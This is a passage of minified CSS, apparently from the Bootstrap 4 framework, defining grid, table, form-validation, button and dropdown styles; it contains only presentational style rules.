0 66.666667%;max-width:66.666667%}.col-xl-9{-ms-flex:0 0 75%;flex:0 0 75%;max-width:75%}.col-xl-10{-ms-flex:0 0 83.333333%;flex:0 0 83.333333%;max-width:83.333333%}.col-xl-11{-ms-flex:0 0 91.666667%;flex:0 0 91.666667%;max-width:91.666667%}.col-xl-12{-ms-flex:0 0 100%;flex:0 0 100%;max-width:100%}.order-xl-first{-ms-flex-order:-1;order:-1}.order-xl-last{-ms-flex-order:13;order:13}.order-xl-0{-ms-flex-order:0;order:0}.order-xl-1{-ms-flex-order:1;order:1}.order-xl-2{-ms-flex-order:2;order:2}.order-xl-3{-ms-flex-order:3;order:3}.order-xl-4{-ms-flex-order:4;order:4}.order-xl-5{-ms-flex-order:5;order:5}.order-xl-6{-ms-flex-order:6;order:6}.order-xl-7{-ms-flex-order:7;order:7}.order-xl-8{-ms-flex-order:8;order:8}.order-xl-9{-ms-flex-order:9;order:9}.order-xl-10{-ms-flex-order:10;order:10}.order-xl-11{-ms-flex-order:11;order:11}.order-xl-12{-ms-flex-order:12;order:12}.offset-xl-0{margin-left:0}.offset-xl-1{margin-left:8.333333%}.offset-xl-2{margin-left:16.666667%}.offset-xl-3{margin-left:25%}.offset-xl-4{margin-left:33.333333%}.offset-xl-5{margin-left:41.666667%}.offset-xl-6{margin-left:50%}.offset-xl-7{margin-left:58.333333%}.offset-xl-8{margin-left:66.666667%}.offset-xl-9{margin-left:75%}.offset-xl-10{margin-left:83.333333%}.offset-xl-11{margin-left:91.666667%}}.table{width:100%;margin-bottom:1rem;background-color:transparent}.table td,.table th{padding:.75rem;vertical-align:top;border-top:1px solid #dee2e6}.table thead th{vertical-align:bottom;border-bottom:2px solid #dee2e6}.table tbody+tbody{border-top:2px solid #dee2e6}.table .table{background-color:#fff}.table-sm td,.table-sm th{padding:.3rem}.table-bordered{border:1px solid #dee2e6}.table-bordered td,.table-bordered th{border:1px solid #dee2e6}.table-bordered thead td,.table-bordered thead th{border-bottom-width:2px}.table-borderless tbody+tbody,.table-borderless td,.table-borderless th,.table-borderless thead th{border:0}.table-striped tbody tr:nth-of-type(odd){background-color:rgba(0,0,0,.05)}.table-hover tbody tr:hover{background-color:rgba(0,0,0,.075)}.table-primary,.table-primary>td,.table-primary>th{background-color:#b8daff}.table-hover .table-primary:hover{background-color:#9fcdff}.table-hover .table-primary:hover>td,.table-hover .table-primary:hover>th{background-color:#9fcdff}.table-secondary,.table-secondary>td,.table-secondary>th{background-color:#d6d8db}.table-hover .table-secondary:hover{background-color:#c8cbcf}.table-hover .table-secondary:hover>td,.table-hover .table-secondary:hover>th{background-color:#c8cbcf}.table-success,.table-success>td,.table-success>th{background-color:#c3e6cb}.table-hover .table-success:hover{background-color:#b1dfbb}.table-hover .table-success:hover>td,.table-hover .table-success:hover>th{background-color:#b1dfbb}.table-info,.table-info>td,.table-info>th{background-color:#bee5eb}.table-hover .table-info:hover{background-color:#abdde5}.table-hover .table-info:hover>td,.table-hover .table-info:hover>th{background-color:#abdde5}.table-warning,.table-warning>td,.table-warning>th{background-color:#ffeeba}.table-hover .table-warning:hover{background-color:#ffe8a1}.table-hover .table-warning:hover>td,.table-hover .table-warning:hover>th{background-color:#ffe8a1}.table-danger,.table-danger>td,.table-danger>th{background-color:#f5c6cb}.table-hover .table-danger:hover{background-color:#f1b0b7}.table-hover .table-danger:hover>td,.table-hover .table-danger:hover>th{background-color:#f1b0b7}.table-light,.table-light>td,.table-light>th{background-color:#fdfdfe}.table-hover .table-light:hover{background-color:#ececf6}.table-hover .table-light:hover>td,.table-hover .table-light:hover>th{background-color:#ececf6}.table-dark,.table-dark>td,.table-dark>th{background-color:#c6c8ca}.table-hover .table-dark:hover{background-color:#b9bbbe}.table-hover .table-dark:hover>td,.table-hover .table-dark:hover>th{background-color:#b9bbbe}.table-active,.table-active>td,.table-active>th{background-color:rgba(0,0,0,.075)}.table-hover .table-active:hover{background-color:rgba(0,0,0,.075)}.table-hover .table-active:hover>td,.table-hover .table-active:hover>th{background-color:rgba(0,0,0,.075)}.table .thead-dark th{color:#fff;background-color:#212529;border-color:#32383e}.table .thead-light th{color:#495057;background-color:#e9ecef;border-color:#dee2e6}.table-dark{color:#fff;background-color:#212529}.table-dark td,.table-dark th,.table-dark thead th{border-color:#32383e}.table-dark.table-bordered{border:0}.table-dark.table-striped tbody tr:nth-of-type(odd){background-color:rgba(255,255,255,.05)}.table-dark.table-hover tbody tr:hover{background-color:rgba(255,255,255,.075)}@media (max-width:575.98px){.table-responsive-sm{display:block;width:100%;overflow-x:auto;-webkit-overflow-scrolling:touch;-ms-overflow-style:-ms-autohiding-scrollbar}.table-responsive-sm>.table-bordered{border:0}}@media (max-width:767.98px){.table-responsive-md{display:block;width:100%;overflow-x:auto;-webkit-overflow-scrolling:touch;-ms-overflow-style:-ms-autohiding-scrollbar}.table-responsive-md>.table-bordered{border:0}}@media (max-width:991.98px){.table-responsive-lg{display:block;width:100%;overflow-x:auto;-webkit-overflow-scrolling:touch;-ms-overflow-style:-ms-autohiding-scrollbar}.table-responsive-lg>.table-bordered{border:0}}@media (max-width:1199.98px){.table-responsive-xl{display:block;width:100%;overflow-x:auto;-webkit-overflow-scrolling:touch;-ms-overflow-style:-ms-autohiding-scrollbar}.table-responsive-xl>.table-bordered{border:0}}.table-responsive{display:block;width:100%;overflow-x:auto;-webkit-overflow-scrolling:touch;-ms-overflow-style:-ms-autohiding-scrollbar}.table-responsive>.table-bordered{border:0}.form-control{display:block;width:100%;height:calc(2.25rem + 2px);padding:.375rem .75rem;font-size:1rem;line-height:1.5;color:#495057;background-color:#fff;background-clip:padding-box;border:1px solid #ced4da;border-radius:.25rem;transition:border-color .15s ease-in-out,box-shadow .15s ease-in-out}@media screen and (prefers-reduced-motion:reduce){.form-control{transition:none}}.form-control::-ms-expand{background-color:transparent;border:0}.form-control:focus{color:#495057;background-color:#fff;border-color:#80bdff;outline:0;box-shadow:0 0 0 .2rem rgba(0,123,255,.25)}.form-control::-webkit-input-placeholder{color:#6c757d;opacity:1}.form-control::-moz-placeholder{color:#6c757d;opacity:1}.form-control:-ms-input-placeholder{color:#6c757d;opacity:1}.form-control::-ms-input-placeholder{color:#6c757d;opacity:1}.form-control::placeholder{color:#6c757d;opacity:1}.form-control:disabled,.form-control[readonly]{background-color:#e9ecef;opacity:1}select.form-control:focus::-ms-value{color:#495057;background-color:#fff}.form-control-file,.form-control-range{display:block;width:100%}.col-form-label{padding-top:calc(.375rem + 1px);padding-bottom:calc(.375rem + 1px);margin-bottom:0;font-size:inherit;line-height:1.5}.col-form-label-lg{padding-top:calc(.5rem + 1px);padding-bottom:calc(.5rem + 1px);font-size:1.25rem;line-height:1.5}.col-form-label-sm{padding-top:calc(.25rem + 1px);padding-bottom:calc(.25rem + 1px);font-size:.875rem;line-height:1.5}.form-control-plaintext{display:block;width:100%;padding-top:.375rem;padding-bottom:.375rem;margin-bottom:0;line-height:1.5;color:#212529;background-color:transparent;border:solid transparent;border-width:1px 0}.form-control-plaintext.form-control-lg,.form-control-plaintext.form-control-sm{padding-right:0;padding-left:0}.form-control-sm{height:calc(1.8125rem + 2px);padding:.25rem .5rem;font-size:.875rem;line-height:1.5;border-radius:.2rem}.form-control-lg{height:calc(2.875rem + 2px);padding:.5rem 1rem;font-size:1.25rem;line-height:1.5;border-radius:.3rem}select.form-control[multiple],select.form-control[size]{height:auto}textarea.form-control{height:auto}.form-group{margin-bottom:1rem}.form-text{display:block;margin-top:.25rem}.form-row{display:-ms-flexbox;display:flex;-ms-flex-wrap:wrap;flex-wrap:wrap;margin-right:-5px;margin-left:-5px}.form-row>.col,.form-row>[class*=col-]{padding-right:5px;padding-left:5px}.form-check{position:relative;display:block;padding-left:1.25rem}.form-check-input{position:absolute;margin-top:.3rem;margin-left:-1.25rem}.form-check-input:disabled~.form-check-label{color:#6c757d}.form-check-label{margin-bottom:0}.form-check-inline{display:-ms-inline-flexbox;display:inline-flex;-ms-flex-align:center;align-items:center;padding-left:0;margin-right:.75rem}.form-check-inline .form-check-input{position:static;margin-top:0;margin-right:.3125rem;margin-left:0}.valid-feedback{display:none;width:100%;margin-top:.25rem;font-size:80%;color:#28a745}.valid-tooltip{position:absolute;top:100%;z-index:5;display:none;max-width:100%;padding:.25rem .5rem;margin-top:.1rem;font-size:.875rem;line-height:1.5;color:#fff;background-color:rgba(40,167,69,.9);border-radius:.25rem}.custom-select.is-valid,.form-control.is-valid,.was-validated .custom-select:valid,.was-validated .form-control:valid{border-color:#28a745}.custom-select.is-valid:focus,.form-control.is-valid:focus,.was-validated .custom-select:valid:focus,.was-validated .form-control:valid:focus{border-color:#28a745;box-shadow:0 0 0 .2rem rgba(40,167,69,.25)}.custom-select.is-valid~.valid-feedback,.custom-select.is-valid~.valid-tooltip,.form-control.is-valid~.valid-feedback,.form-control.is-valid~.valid-tooltip,.was-validated .custom-select:valid~.valid-feedback,.was-validated .custom-select:valid~.valid-tooltip,.was-validated .form-control:valid~.valid-feedback,.was-validated .form-control:valid~.valid-tooltip{display:block}.form-control-file.is-valid~.valid-feedback,.form-control-file.is-valid~.valid-tooltip,.was-validated .form-control-file:valid~.valid-feedback,.was-validated .form-control-file:valid~.valid-tooltip{display:block}.form-check-input.is-valid~.form-check-label,.was-validated .form-check-input:valid~.form-check-label{color:#28a745}.form-check-input.is-valid~.valid-feedback,.form-check-input.is-valid~.valid-tooltip,.was-validated .form-check-input:valid~.valid-feedback,.was-validated .form-check-input:valid~.valid-tooltip{display:block}.custom-control-input.is-valid~.custom-control-label,.was-validated .custom-control-input:valid~.custom-control-label{color:#28a745}.custom-control-input.is-valid~.custom-control-label::before,.was-validated .custom-control-input:valid~.custom-control-label::before{background-color:#71dd8a}.custom-control-input.is-valid~.valid-feedback,.custom-control-input.is-valid~.valid-tooltip,.was-validated .custom-control-input:valid~.valid-feedback,.was-validated .custom-control-input:valid~.valid-tooltip{display:block}.custom-control-input.is-valid:checked~.custom-control-label::before,.was-validated .custom-control-input:valid:checked~.custom-control-label::before{background-color:#34ce57}.custom-control-input.is-valid:focus~.custom-control-label::before,.was-validated .custom-control-input:valid:focus~.custom-control-label::before{box-shadow:0 0 0 1px #fff,0 0 0 .2rem rgba(40,167,69,.25)}.custom-file-input.is-valid~.custom-file-label,.was-validated .custom-file-input:valid~.custom-file-label{border-color:#28a745}.custom-file-input.is-valid~.custom-file-label::after,.was-validated .custom-file-input:valid~.custom-file-label::after{border-color:inherit}.custom-file-input.is-valid~.valid-feedback,.custom-file-input.is-valid~.valid-tooltip,.was-validated .custom-file-input:valid~.valid-feedback,.was-validated .custom-file-input:valid~.valid-tooltip{display:block}.custom-file-input.is-valid:focus~.custom-file-label,.was-validated .custom-file-input:valid:focus~.custom-file-label{box-shadow:0 0 0 .2rem rgba(40,167,69,.25)}.invalid-feedback{display:none;width:100%;margin-top:.25rem;font-size:80%;color:#dc3545}.invalid-tooltip{position:absolute;top:100%;z-index:5;display:none;max-width:100%;padding:.25rem .5rem;margin-top:.1rem;font-size:.875rem;line-height:1.5;color:#fff;background-color:rgba(220,53,69,.9);border-radius:.25rem}.custom-select.is-invalid,.form-control.is-invalid,.was-validated .custom-select:invalid,.was-validated .form-control:invalid{border-color:#dc3545}.custom-select.is-invalid:focus,.form-control.is-invalid:focus,.was-validated .custom-select:invalid:focus,.was-validated .form-control:invalid:focus{border-color:#dc3545;box-shadow:0 0 0 .2rem rgba(220,53,69,.25)}.custom-select.is-invalid~.invalid-feedback,.custom-select.is-invalid~.invalid-tooltip,.form-control.is-invalid~.invalid-feedback,.form-control.is-invalid~.invalid-tooltip,.was-validated .custom-select:invalid~.invalid-feedback,.was-validated .custom-select:invalid~.invalid-tooltip,.was-validated .form-control:invalid~.invalid-feedback,.was-validated .form-control:invalid~.invalid-tooltip{display:block}.form-control-file.is-invalid~.invalid-feedback,.form-control-file.is-invalid~.invalid-tooltip,.was-validated .form-control-file:invalid~.invalid-feedback,.was-validated .form-control-file:invalid~.invalid-tooltip{display:block}.form-check-input.is-invalid~.form-check-label,.was-validated .form-check-input:invalid~.form-check-label{color:#dc3545}.form-check-input.is-invalid~.invalid-feedback,.form-check-input.is-invalid~.invalid-tooltip,.was-validated .form-check-input:invalid~.invalid-feedback,.was-validated .form-check-input:invalid~.invalid-tooltip{display:block}.custom-control-input.is-invalid~.custom-control-label,.was-validated .custom-control-input:invalid~.custom-control-label{color:#dc3545}.custom-control-input.is-invalid~.custom-control-label::before,.was-validated .custom-control-input:invalid~.custom-control-label::before{background-color:#efa2a9}.custom-control-input.is-invalid~.invalid-feedback,.custom-control-input.is-invalid~.invalid-tooltip,.was-validated .custom-control-input:invalid~.invalid-feedback,.was-validated .custom-control-input:invalid~.invalid-tooltip{display:block}.custom-control-input.is-invalid:checked~.custom-control-label::before,.was-validated .custom-control-input:invalid:checked~.custom-control-label::before{background-color:#e4606d}.custom-control-input.is-invalid:focus~.custom-control-label::before,.was-validated .custom-control-input:invalid:focus~.custom-control-label::before{box-shadow:0 0 0 1px #fff,0 0 0 .2rem rgba(220,53,69,.25)}.custom-file-input.is-invalid~.custom-file-label,.was-validated .custom-file-input:invalid~.custom-file-label{border-color:#dc3545}.custom-file-input.is-invalid~.custom-file-label::after,.was-validated .custom-file-input:invalid~.custom-file-label::after{border-color:inherit}.custom-file-input.is-invalid~.invalid-feedback,.custom-file-input.is-invalid~.invalid-tooltip,.was-validated .custom-file-input:invalid~.invalid-feedback,.was-validated .custom-file-input:invalid~.invalid-tooltip{display:block}.custom-file-input.is-invalid:focus~.custom-file-label,.was-validated .custom-file-input:invalid:focus~.custom-file-label{box-shadow:0 0 0 .2rem rgba(220,53,69,.25)}.form-inline{display:-ms-flexbox;display:flex;-ms-flex-flow:row wrap;flex-flow:row wrap;-ms-flex-align:center;align-items:center}.form-inline .form-check{width:100%}@media (min-width:576px){.form-inline label{display:-ms-flexbox;display:flex;-ms-flex-align:center;align-items:center;-ms-flex-pack:center;justify-content:center;margin-bottom:0}.form-inline .form-group{display:-ms-flexbox;display:flex;-ms-flex:0 0 auto;flex:0 0 auto;-ms-flex-flow:row wrap;flex-flow:row wrap;-ms-flex-align:center;align-items:center;margin-bottom:0}.form-inline .form-control{display:inline-block;width:auto;vertical-align:middle}.form-inline .form-control-plaintext{display:inline-block}.form-inline .custom-select,.form-inline .input-group{width:auto}.form-inline .form-check{display:-ms-flexbox;display:flex;-ms-flex-align:center;align-items:center;-ms-flex-pack:center;justify-content:center;width:auto;padding-left:0}.form-inline .form-check-input{position:relative;margin-top:0;margin-right:.25rem;margin-left:0}.form-inline .custom-control{-ms-flex-align:center;align-items:center;-ms-flex-pack:center;justify-content:center}.form-inline .custom-control-label{margin-bottom:0}}.btn{display:inline-block;font-weight:400;text-align:center;white-space:nowrap;vertical-align:middle;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none;border:1px solid transparent;padding:.375rem .75rem;font-size:1rem;line-height:1.5;border-radius:.25rem;transition:color .15s ease-in-out,background-color .15s ease-in-out,border-color .15s ease-in-out,box-shadow .15s ease-in-out}@media screen and (prefers-reduced-motion:reduce){.btn{transition:none}}.btn:focus,.btn:hover{text-decoration:none}.btn.focus,.btn:focus{outline:0;box-shadow:0 0 0 .2rem rgba(0,123,255,.25)}.btn.disabled,.btn:disabled{opacity:.65}.btn:not(:disabled):not(.disabled){cursor:pointer}a.btn.disabled,fieldset:disabled a.btn{pointer-events:none}.btn-primary{color:#fff;background-color:#007bff;border-color:#007bff}.btn-primary:hover{color:#fff;background-color:#0069d9;border-color:#0062cc}.btn-primary.focus,.btn-primary:focus{box-shadow:0 0 0 .2rem rgba(0,123,255,.5)}.btn-primary.disabled,.btn-primary:disabled{color:#fff;background-color:#007bff;border-color:#007bff}.btn-primary:not(:disabled):not(.disabled).active,.btn-primary:not(:disabled):not(.disabled):active,.show>.btn-primary.dropdown-toggle{color:#fff;background-color:#0062cc;border-color:#005cbf}.btn-primary:not(:disabled):not(.disabled).active:focus,.btn-primary:not(:disabled):not(.disabled):active:focus,.show>.btn-primary.dropdown-toggle:focus{box-shadow:0 0 0 .2rem rgba(0,123,255,.5)}.btn-secondary{color:#fff;background-color:#6c757d;border-color:#6c757d}.btn-secondary:hover{color:#fff;background-color:#5a6268;border-color:#545b62}.btn-secondary.focus,.btn-secondary:focus{box-shadow:0 0 0 .2rem rgba(108,117,125,.5)}.btn-secondary.disabled,.btn-secondary:disabled{color:#fff;background-color:#6c757d;border-color:#6c757d}.btn-secondary:not(:disabled):not(.disabled).active,.btn-secondary:not(:disabled):not(.disabled):active,.show>.btn-secondary.dropdown-toggle{color:#fff;background-color:#545b62;border-color:#4e555b}.btn-secondary:not(:disabled):not(.disabled).active:focus,.btn-secondary:not(:disabled):not(.disabled):active:focus,.show>.btn-secondary.dropdown-toggle:focus{box-shadow:0 0 0 .2rem rgba(108,117,125,.5)}.btn-success{color:#fff;background-color:#28a745;border-color:#28a745}.btn-success:hover{color:#fff;background-color:#218838;border-color:#1e7e34}.btn-success.focus,.btn-success:focus{box-shadow:0 0 0 .2rem rgba(40,167,69,.5)}.btn-success.disabled,.btn-success:disabled{color:#fff;background-color:#28a745;border-color:#28a745}.btn-success:not(:disabled):not(.disabled).active,.btn-success:not(:disabled):not(.disabled):active,.show>.btn-success.dropdown-toggle{color:#fff;background-color:#1e7e34;border-color:#1c7430}.btn-success:not(:disabled):not(.disabled).active:focus,.btn-success:not(:disabled):not(.disabled):active:focus,.show>.btn-success.dropdown-toggle:focus{box-shadow:0 0 0 .2rem rgba(40,167,69,.5)}.btn-info{color:#fff;background-color:#17a2b8;border-color:#17a2b8}.btn-info:hover{color:#fff;background-color:#138496;border-color:#117a8b}.btn-info.focus,.btn-info:focus{box-shadow:0 0 0 .2rem rgba(23,162,184,.5)}.btn-info.disabled,.btn-info:disabled{color:#fff;background-color:#17a2b8;border-color:#17a2b8}.btn-info:not(:disabled):not(.disabled).active,.btn-info:not(:disabled):not(.disabled):active,.show>.btn-info.dropdown-toggle{color:#fff;background-color:#117a8b;border-color:#10707f}.btn-info:not(:disabled):not(.disabled).active:focus,.btn-info:not(:disabled):not(.disabled):active:focus,.show>.btn-info.dropdown-toggle:focus{box-shadow:0 0 0 .2rem rgba(23,162,184,.5)}.btn-warning{color:#212529;background-color:#ffc107;border-color:#ffc107}.btn-warning:hover{color:#212529;background-color:#e0a800;border-color:#d39e00}.btn-warning.focus,.btn-warning:focus{box-shadow:0 0 0 .2rem rgba(255,193,7,.5)}.btn-warning.disabled,.btn-warning:disabled{color:#212529;background-color:#ffc107;border-color:#ffc107}.btn-warning:not(:disabled):not(.disabled).active,.btn-warning:not(:disabled):not(.disabled):active,.show>.btn-warning.dropdown-toggle{color:#212529;background-color:#d39e00;border-color:#c69500}.btn-warning:not(:disabled):not(.disabled).active:focus,.btn-warning:not(:disabled):not(.disabled):active:focus,.show>.btn-warning.dropdown-toggle:focus{box-shadow:0 0 0 .2rem rgba(255,193,7,.5)}.btn-danger{color:#fff;background-color:#dc3545;border-color:#dc3545}.btn-danger:hover{color:#fff;background-color:#c82333;border-color:#bd2130}.btn-danger.focus,.btn-danger:focus{box-shadow:0 0 0 .2rem rgba(220,53,69,.5)}.btn-danger.disabled,.btn-danger:disabled{color:#fff;background-color:#dc3545;border-color:#dc3545}.btn-danger:not(:disabled):not(.disabled).active,.btn-danger:not(:disabled):not(.disabled):active,.show>.btn-danger.dropdown-toggle{color:#fff;background-color:#bd2130;border-color:#b21f2d}.btn-danger:not(:disabled):not(.disabled).active:focus,.btn-danger:not(:disabled):not(.disabled):active:focus,.show>.btn-danger.dropdown-toggle:focus{box-shadow:0 0 0 .2rem rgba(220,53,69,.5)}.btn-light{color:#212529;background-color:#f8f9fa;border-color:#f8f9fa}.btn-light:hover{color:#212529;background-color:#e2e6ea;border-color:#dae0e5}.btn-light.focus,.btn-light:focus{box-shadow:0 0 0 .2rem rgba(248,249,250,.5)}.btn-light.disabled,.btn-light:disabled{color:#212529;background-color:#f8f9fa;border-color:#f8f9fa}.btn-light:not(:disabled):not(.disabled).active,.btn-light:not(:disabled):not(.disabled):active,.show>.btn-light.dropdown-toggle{color:#212529;background-color:#dae0e5;border-color:#d3d9df}.btn-light:not(:disabled):not(.disabled).active:focus,.btn-light:not(:disabled):not(.disabled):active:focus,.show>.btn-light.dropdown-toggle:focus{box-shadow:0 0 0 .2rem rgba(248,249,250,.5)}.btn-dark{color:#fff;background-color:#343a40;border-color:#343a40}.btn-dark:hover{color:#fff;background-color:#23272b;border-color:#1d2124}.btn-dark.focus,.btn-dark:focus{box-shadow:0 0 0 .2rem rgba(52,58,64,.5)}.btn-dark.disabled,.btn-dark:disabled{color:#fff;background-color:#343a40;border-color:#343a40}.btn-dark:not(:disabled):not(.disabled).active,.btn-dark:not(:disabled):not(.disabled):active,.show>.btn-dark.dropdown-toggle{color:#fff;background-color:#1d2124;border-color:#171a1d}.btn-dark:not(:disabled):not(.disabled).active:focus,.btn-dark:not(:disabled):not(.disabled):active:focus,.show>.btn-dark.dropdown-toggle:focus{box-shadow:0 0 0 .2rem rgba(52,58,64,.5)}.btn-outline-primary{color:#007bff;background-color:transparent;background-image:none;border-color:#007bff}.btn-outline-primary:hover{color:#fff;background-color:#007bff;border-color:#007bff}.btn-outline-primary.focus,.btn-outline-primary:focus{box-shadow:0 0 0 .2rem rgba(0,123,255,.5)}.btn-outline-primary.disabled,.btn-outline-primary:disabled{color:#007bff;background-color:transparent}.btn-outline-primary:not(:disabled):not(.disabled).active,.btn-outline-primary:not(:disabled):not(.disabled):active,.show>.btn-outline-primary.dropdown-toggle{color:#fff;background-color:#007bff;border-color:#007bff}.btn-outline-primary:not(:disabled):not(.disabled).active:focus,.btn-outline-primary:not(:disabled):not(.disabled):active:focus,.show>.btn-outline-primary.dropdown-toggle:focus{box-shadow:0 0 0 .2rem rgba(0,123,255,.5)}.btn-outline-secondary{color:#6c757d;background-color:transparent;background-image:none;border-color:#6c757d}.btn-outline-secondary:hover{color:#fff;background-color:#6c757d;border-color:#6c757d}.btn-outline-secondary.focus,.btn-outline-secondary:focus{box-shadow:0 0 0 .2rem rgba(108,117,125,.5)}.btn-outline-secondary.disabled,.btn-outline-secondary:disabled{color:#6c757d;background-color:transparent}.btn-outline-secondary:not(:disabled):not(.disabled).active,.btn-outline-secondary:not(:disabled):not(.disabled):active,.show>.btn-outline-secondary.dropdown-toggle{color:#fff;background-color:#6c757d;border-color:#6c757d}.btn-outline-secondary:not(:disabled):not(.disabled).active:focus,.btn-outline-secondary:not(:disabled):not(.disabled):active:focus,.show>.btn-outline-secondary.dropdown-toggle:focus{box-shadow:0 0 0 .2rem rgba(108,117,125,.5)}.btn-outline-success{color:#28a745;background-color:transparent;background-image:none;border-color:#28a745}.btn-outline-success:hover{color:#fff;background-color:#28a745;border-color:#28a745}.btn-outline-success.focus,.btn-outline-success:focus{box-shadow:0 0 0 .2rem rgba(40,167,69,.5)}.btn-outline-success.disabled,.btn-outline-success:disabled{color:#28a745;background-color:transparent}.btn-outline-success:not(:disabled):not(.disabled).active,.btn-outline-success:not(:disabled):not(.disabled):active,.show>.btn-outline-success.dropdown-toggle{color:#fff;background-color:#28a745;border-color:#28a745}.btn-outline-success:not(:disabled):not(.disabled).active:focus,.btn-outline-success:not(:disabled):not(.disabled):active:focus,.show>.btn-outline-success.dropdown-toggle:focus{box-shadow:0 0 0 .2rem rgba(40,167,69,.5)}.btn-outline-info{color:#17a2b8;background-color:transparent;background-image:none;border-color:#17a2b8}.btn-outline-info:hover{color:#fff;background-color:#17a2b8;border-color:#17a2b8}.btn-outline-info.focus,.btn-outline-info:focus{box-shadow:0 0 0 .2rem rgba(23,162,184,.5)}.btn-outline-info.disabled,.btn-outline-info:disabled{color:#17a2b8;background-color:transparent}.btn-outline-info:not(:disabled):not(.disabled).active,.btn-outline-info:not(:disabled):not(.disabled):active,.show>.btn-outline-info.dropdown-toggle{color:#fff;background-color:#17a2b8;border-color:#17a2b8}.btn-outline-info:not(:disabled):not(.disabled).active:focus,.btn-outline-info:not(:disabled):not(.disabled):active:focus,.show>.btn-outline-info.dropdown-toggle:focus{box-shadow:0 0 0 .2rem rgba(23,162,184,.5)}.btn-outline-warning{color:#ffc107;background-color:transparent;background-image:none;border-color:#ffc107}.btn-outline-warning:hover{color:#212529;background-color:#ffc107;border-color:#ffc107}.btn-outline-warning.focus,.btn-outline-warning:focus{box-shadow:0 0 0 .2rem rgba(255,193,7,.5)}.btn-outline-warning.disabled,.btn-outline-warning:disabled{color:#ffc107;background-color:transparent}.btn-outline-warning:not(:disabled):not(.disabled).active,.btn-outline-warning:not(:disabled):not(.disabled):active,.show>.btn-outline-warning.dropdown-toggle{color:#212529;background-color:#ffc107;border-color:#ffc107}.btn-outline-warning:not(:disabled):not(.disabled).active:focus,.btn-outline-warning:not(:disabled):not(.disabled):active:focus,.show>.btn-outline-warning.dropdown-toggle:focus{box-shadow:0 0 0 .2rem rgba(255,193,7,.5)}.btn-outline-danger{color:#dc3545;background-color:transparent;background-image:none;border-color:#dc3545}.btn-outline-danger:hover{color:#fff;background-color:#dc3545;border-color:#dc3545}.btn-outline-danger.focus,.btn-outline-danger:focus{box-shadow:0 0 0 .2rem rgba(220,53,69,.5)}.btn-outline-danger.disabled,.btn-outline-danger:disabled{color:#dc3545;background-color:transparent}.btn-outline-danger:not(:disabled):not(.disabled).active,.btn-outline-danger:not(:disabled):not(.disabled):active,.show>.btn-outline-danger.dropdown-toggle{color:#fff;background-color:#dc3545;border-color:#dc3545}.btn-outline-danger:not(:disabled):not(.disabled).active:focus,.btn-outline-danger:not(:disabled):not(.disabled):active:focus,.show>.btn-outline-danger.dropdown-toggle:focus{box-shadow:0 0 0 .2rem rgba(220,53,69,.5)}.btn-outline-light{color:#f8f9fa;background-color:transparent;background-image:none;border-color:#f8f9fa}.btn-outline-light:hover{color:#212529;background-color:#f8f9fa;border-color:#f8f9fa}.btn-outline-light.focus,.btn-outline-light:focus{box-shadow:0 0 0 .2rem rgba(248,249,250,.5)}.btn-outline-light.disabled,.btn-outline-light:disabled{color:#f8f9fa;background-color:transparent}.btn-outline-light:not(:disabled):not(.disabled).active,.btn-outline-light:not(:disabled):not(.disabled):active,.show>.btn-outline-light.dropdown-toggle{color:#212529;background-color:#f8f9fa;border-color:#f8f9fa}.btn-outline-light:not(:disabled):not(.disabled).active:focus,.btn-outline-light:not(:disabled):not(.disabled):active:focus,.show>.btn-outline-light.dropdown-toggle:focus{box-shadow:0 0 0 .2rem rgba(248,249,250,.5)}.btn-outline-dark{color:#343a40;background-color:transparent;background-image:none;border-color:#343a40}.btn-outline-dark:hover{color:#fff;background-color:#343a40;border-color:#343a40}.btn-outline-dark.focus,.btn-outline-dark:focus{box-shadow:0 0 0 .2rem rgba(52,58,64,.5)}.btn-outline-dark.disabled,.btn-outline-dark:disabled{color:#343a40;background-color:transparent}.btn-outline-dark:not(:disabled):not(.disabled).active,.btn-outline-dark:not(:disabled):not(.disabled):active,.show>.btn-outline-dark.dropdown-toggle{color:#fff;background-color:#343a40;border-color:#343a40}.btn-outline-dark:not(:disabled):not(.disabled).active:focus,.btn-outline-dark:not(:disabled):not(.disabled):active:focus,.show>.btn-outline-dark.dropdown-toggle:focus{box-shadow:0 0 0 .2rem rgba(52,58,64,.5)}.btn-link{font-weight:400;color:#007bff;background-color:transparent}.btn-link:hover{color:#0056b3;text-decoration:underline;background-color:transparent;border-color:transparent}.btn-link.focus,.btn-link:focus{text-decoration:underline;border-color:transparent;box-shadow:none}.btn-link.disabled,.btn-link:disabled{color:#6c757d;pointer-events:none}.btn-group-lg>.btn,.btn-lg{padding:.5rem 1rem;font-size:1.25rem;line-height:1.5;border-radius:.3rem}.btn-group-sm>.btn,.btn-sm{padding:.25rem .5rem;font-size:.875rem;line-height:1.5;border-radius:.2rem}.btn-block{display:block;width:100%}.btn-block+.btn-block{margin-top:.5rem}input[type=button].btn-block,input[type=reset].btn-block,input[type=submit].btn-block{width:100%}.fade{transition:opacity .15s linear}@media screen and (prefers-reduced-motion:reduce){.fade{transition:none}}.fade:not(.show){opacity:0}.collapse:not(.show){display:none}.collapsing{position:relative;height:0;overflow:hidden;transition:height .35s ease}@media screen and (prefers-reduced-motion:reduce){.collapsing{transition:none}}.dropdown,.dropleft,.dropright,.dropup{position:relative}.dropdown-toggle::after{display:inline-block;width:0;height:0;margin-left:.255em;vertical-align:.255em;content:"";border-top:.3em solid;border-right:.3em solid transparent;border-bottom:0;border-left:.3em solid transparent}.dropdown-toggle:empty::after{margin-left:0}.dropdown-menu{position:absolute;top:100%;left:0;z-index:1000;display:none;float:left;min-width:10rem;padding:.5rem 0;margin:.125rem 0 0;font-size:1rem;color:#212529;text-align:left;list-style:none;background-color:#fff;background-clip:padding-box;border:1px solid rgba(0,0,0,.15);border-radius:.25rem}.dropdown-menu-right{right:0;left:auto}.dropup .dropdown-menu{top:auto;bottom:100%;margin-top:0;margin-bottom:.125rem}.dropup .dropdown-toggle::after{display:inline-block;width:0;height:0;margin-left:.255em;vertical-align:.255em;content:"";border-top:0;border-right:.3em solid transparent;border-bottom:.3em solid;border-left:.3em solid transparent}.dropup .dropdown-toggle:empty::after{margin-left:0}.dropright .dropdown-menu{top:0;right:auto;left:100%;margin-top:0;margin-left:.125rem}.dropright .dropdown-toggle::after{display:inline-block;width:0;height:0;margin-left:.255em;vertical-align:.255em;content:"";border-top:.3em solid transparent;border-right:0;border-bottom:.3em solid transparent;border-left:.3em solid}.dropright .dropdown-toggle:empty::after{margin-left:0}.dropright .dropdown-toggle::after{vertical-align:0}.dropleft .dropdown-menu{top:0;right:100%;left:auto;margin-top:0;margin-right:.125rem}.dropleft 